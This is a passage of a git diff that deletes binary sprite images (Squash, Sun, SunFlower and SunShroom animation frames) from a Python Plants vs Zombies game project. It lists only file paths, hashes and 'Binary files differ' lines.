b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/Squash/Squash/Squash_1.png deleted file mode 100644 index c5346a1a6a5..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/Squash/Squash/Squash_1.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/Squash/Squash/Squash_10.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/Squash/Squash/Squash_10.png deleted file mode 100644 index d3881dc85bc..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/Squash/Squash/Squash_10.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/Squash/Squash/Squash_11.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/Squash/Squash/Squash_11.png deleted file mode 100644 index e6d91038cfd..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/Squash/Squash/Squash_11.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/Squash/Squash/Squash_12.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/Squash/Squash/Squash_12.png deleted file mode 100644 index 854f27f64fe..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/Squash/Squash/Squash_12.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/Squash/Squash/Squash_13.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/Squash/Squash/Squash_13.png deleted file mode 100644 index 3abfc6c81e6..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/Squash/Squash/Squash_13.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/Squash/Squash/Squash_14.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/Squash/Squash/Squash_14.png deleted file mode 100644 index ad3e95e2a34..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/Squash/Squash/Squash_14.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/Squash/Squash/Squash_15.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/Squash/Squash/Squash_15.png deleted file mode 100644 index 81327a63622..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/Squash/Squash/Squash_15.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/Squash/Squash/Squash_16.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/Squash/Squash/Squash_16.png deleted file mode 100644 index 85c87e0ce29..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/Squash/Squash/Squash_16.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/Squash/Squash/Squash_2.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/Squash/Squash/Squash_2.png deleted file mode 100644 index 99328cd1207..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/Squash/Squash/Squash_2.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/Squash/Squash/Squash_3.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/Squash/Squash/Squash_3.png deleted file mode 100644 index f797bc92e67..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/Squash/Squash/Squash_3.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/Squash/Squash/Squash_4.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/Squash/Squash/Squash_4.png deleted file mode 100644 index d2975c2976d..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/Squash/Squash/Squash_4.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/Squash/Squash/Squash_5.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/Squash/Squash/Squash_5.png deleted file mode 100644 index 6ffc0c34a48..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/Squash/Squash/Squash_5.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/Squash/Squash/Squash_6.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/Squash/Squash/Squash_6.png deleted file mode 100644 index 818cc5ff76d..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/Squash/Squash/Squash_6.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/Squash/Squash/Squash_7.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/Squash/Squash/Squash_7.png deleted file mode 100644 index 3a198037e76..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/Squash/Squash/Squash_7.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/Squash/Squash/Squash_8.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/Squash/Squash/Squash_8.png deleted file mode 100644 index 8a0291fcf20..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/Squash/Squash/Squash_8.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/Squash/Squash/Squash_9.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/Squash/Squash/Squash_9.png deleted file mode 100644 index 395cb965307..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/Squash/Squash/Squash_9.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/Squash/SquashAim/SquashAim_0.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/Squash/SquashAim/SquashAim_0.png deleted file mode 100644 index bf0520831a2..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/Squash/SquashAim/SquashAim_0.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/Squash/SquashAttack/SquashAttack_0.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/Squash/SquashAttack/SquashAttack_0.png deleted file mode 100644 index 6997d2a5037..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/Squash/SquashAttack/SquashAttack_0.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/Squash/SquashAttack/SquashAttack_1.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/Squash/SquashAttack/SquashAttack_1.png deleted file mode 100644 index 31fe4c7efb1..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/Squash/SquashAttack/SquashAttack_1.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/Squash/SquashAttack/SquashAttack_2.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/Squash/SquashAttack/SquashAttack_2.png deleted file mode 100644 index 02bef9d4d82..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/Squash/SquashAttack/SquashAttack_2.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/Squash/SquashAttack/SquashAttack_3.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/Squash/SquashAttack/SquashAttack_3.png deleted file mode 100644 index 41a93d8279d..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/Squash/SquashAttack/SquashAttack_3.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/Sun/Sun_0.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/Sun/Sun_0.png deleted file mode 100644 index 00fe109fba9..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/Sun/Sun_0.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/Sun/Sun_1.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/Sun/Sun_1.png deleted file mode 100644 index 0660f29d5cb..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/Sun/Sun_1.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/Sun/Sun_10.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/Sun/Sun_10.png deleted file mode 100644 index 3a8dea1fb8b..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/Sun/Sun_10.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/Sun/Sun_11.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/Sun/Sun_11.png deleted file mode 100644 index 0ab3e8c96fa..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/Sun/Sun_11.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/Sun/Sun_12.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/Sun/Sun_12.png deleted file mode 100644 index d2715827cfe..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/Sun/Sun_12.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/Sun/Sun_13.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/Sun/Sun_13.png deleted file mode 100644 index 6091215d1c1..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/Sun/Sun_13.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/Sun/Sun_14.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/Sun/Sun_14.png deleted file mode 100644 index ff024700af2..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/Sun/Sun_14.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/Sun/Sun_15.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/Sun/Sun_15.png deleted file mode 100644 index 33cae3432bc..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/Sun/Sun_15.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/Sun/Sun_16.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/Sun/Sun_16.png deleted file mode 100644 index b4873d52950..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/Sun/Sun_16.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/Sun/Sun_17.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/Sun/Sun_17.png deleted file mode 100644 index b4873d52950..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/Sun/Sun_17.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/Sun/Sun_18.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/Sun/Sun_18.png deleted file mode 100644 index aa685c2f7a1..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/Sun/Sun_18.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/Sun/Sun_19.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/Sun/Sun_19.png deleted file mode 100644 index a11093805d5..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/Sun/Sun_19.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/Sun/Sun_2.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/Sun/Sun_2.png deleted file mode 100644 index ec65b1375fa..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/Sun/Sun_2.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/Sun/Sun_20.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/Sun/Sun_20.png deleted file mode 100644 index 2a2e6c561ed..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/Sun/Sun_20.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/Sun/Sun_21.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/Sun/Sun_21.png deleted file mode 100644 index 3df20e1c34a..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/Sun/Sun_21.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/Sun/Sun_3.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/Sun/Sun_3.png deleted file mode 100644 index 8dfe6edc1d4..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/Sun/Sun_3.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/Sun/Sun_4.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/Sun/Sun_4.png deleted file mode 100644 index 7642083a96a..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/Sun/Sun_4.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/Sun/Sun_5.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/Sun/Sun_5.png deleted file mode 100644 index 18896b79a80..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/Sun/Sun_5.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/Sun/Sun_6.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/Sun/Sun_6.png deleted file mode 100644 index 2a903269aef..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/Sun/Sun_6.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/Sun/Sun_7.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/Sun/Sun_7.png deleted file mode 100644 index 8131491a223..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/Sun/Sun_7.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/Sun/Sun_8.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/Sun/Sun_8.png deleted file mode 100644 index c81067996ab..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/Sun/Sun_8.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/Sun/Sun_9.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/Sun/Sun_9.png deleted file mode 100644 index 893f511f655..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/Sun/Sun_9.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/SunFlower/SunFlower_0.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/SunFlower/SunFlower_0.png deleted file mode 100644 index b3637f22a6b..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/SunFlower/SunFlower_0.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/SunFlower/SunFlower_1.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/SunFlower/SunFlower_1.png deleted file mode 100644 index bbeddaba001..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/SunFlower/SunFlower_1.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/SunFlower/SunFlower_10.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/SunFlower/SunFlower_10.png deleted file mode 100644 index 740e116b064..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/SunFlower/SunFlower_10.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/SunFlower/SunFlower_11.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/SunFlower/SunFlower_11.png deleted file mode 100644 index 4cba8a980bb..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/SunFlower/SunFlower_11.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/SunFlower/SunFlower_12.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/SunFlower/SunFlower_12.png deleted file mode 100644 index 27097954b5a..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/SunFlower/SunFlower_12.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/SunFlower/SunFlower_13.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/SunFlower/SunFlower_13.png deleted file mode 100644 index 0d0881665f0..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/SunFlower/SunFlower_13.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/SunFlower/SunFlower_14.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/SunFlower/SunFlower_14.png deleted file mode 100644 index ff4c48c4c65..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/SunFlower/SunFlower_14.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/SunFlower/SunFlower_15.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/SunFlower/SunFlower_15.png deleted file mode 100644 index c8d541dec71..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/SunFlower/SunFlower_15.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/SunFlower/SunFlower_16.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/SunFlower/SunFlower_16.png deleted file mode 100644 index 188e2a33fbe..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/SunFlower/SunFlower_16.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/SunFlower/SunFlower_17.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/SunFlower/SunFlower_17.png deleted file mode 100644 index 7dca8d9cec3..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/SunFlower/SunFlower_17.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/SunFlower/SunFlower_2.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/SunFlower/SunFlower_2.png deleted file mode 100644 index 16bae15a6a1..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/SunFlower/SunFlower_2.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/SunFlower/SunFlower_3.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/SunFlower/SunFlower_3.png deleted file mode 100644 index 59a5c497dd8..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/SunFlower/SunFlower_3.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/SunFlower/SunFlower_4.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/SunFlower/SunFlower_4.png deleted file mode 100644 index ba1c554df53..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/SunFlower/SunFlower_4.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/SunFlower/SunFlower_5.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/SunFlower/SunFlower_5.png deleted file mode 100644 index edf68cb7be7..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/SunFlower/SunFlower_5.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/SunFlower/SunFlower_6.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/SunFlower/SunFlower_6.png deleted file mode 100644 index 945fc810d1e..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/SunFlower/SunFlower_6.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/SunFlower/SunFlower_7.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/SunFlower/SunFlower_7.png deleted file mode 100644 index 73c3c104e45..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/SunFlower/SunFlower_7.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/SunFlower/SunFlower_8.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/SunFlower/SunFlower_8.png deleted file mode 100644 index 7e24f978c62..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/SunFlower/SunFlower_8.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/SunFlower/SunFlower_9.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/SunFlower/SunFlower_9.png deleted file mode 100644 index afec52ec415..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/SunFlower/SunFlower_9.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/SunShroom/SunShroom/SunShroom_0.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/SunShroom/SunShroom/SunShroom_0.png deleted file mode 100644 index fe25d9487d2..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/SunShroom/SunShroom/SunShroom_0.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/SunShroom/SunShroom/SunShroom_1.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/SunShroom/SunShroom/SunShroom_1.png deleted file mode 100644 index 28fb9040013..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/SunShroom/SunShroom/SunShroom_1.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/SunShroom/SunShroom/SunShroom_2.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/SunShroom/SunShroom/SunShroom_2.png deleted file mode 100644 index f6fbc61c2fd..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/SunShroom/SunShroom/SunShroom_2.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/SunShroom/SunShroom/SunShroom_3.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/SunShroom/SunShroom/SunShroom_3.png deleted file mode 100644 index 0245c040cfb..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/SunShroom/SunShroom/SunShroom_3.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/SunShroom/SunShroom/SunShroom_4.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/SunShroom/SunShroom/SunShroom_4.png deleted file mode 100644 index 28f49f735d3..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/SunShroom/SunShroom/SunShroom_4.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/SunShroom/SunShroom/SunShroom_5.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/SunShroom/SunShroom/SunShroom_5.png deleted file mode 100644 index 4eaca99a7e7..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/SunShroom/SunShroom/SunShroom_5.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/SunShroom/SunShroom/SunShroom_6.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/SunShroom/SunShroom/SunShroom_6.png deleted file mode 100644 index 818348bf5a9..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/SunShroom/SunShroom/SunShroom_6.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/SunShroom/SunShroom/SunShroom_7.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/SunShroom/SunShroom/SunShroom_7.png deleted file mode 100644 index 871bc626171..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/SunShroom/SunShroom/SunShroom_7.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/SunShroom/SunShroom/SunShroom_8.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/SunShroom/SunShroom/SunShroom_8.png deleted file mode 100644 index dfcea90ee92..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/SunShroom/SunShroom/SunShroom_8.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/SunShroom/SunShroom/SunShroom_9.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/SunShroom/SunShroom/SunShroom_9.png deleted file mode 100644 index be9ba3faef6..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/SunShroom/SunShroom/SunShroom_9.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/SunShroom/SunShroomBig/SunShroomBig_0.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/SunShroom/SunShroomBig/SunShroomBig_0.png deleted file mode 100644 index 77cd7375ebe..00000000000 Binary files a/Add Code 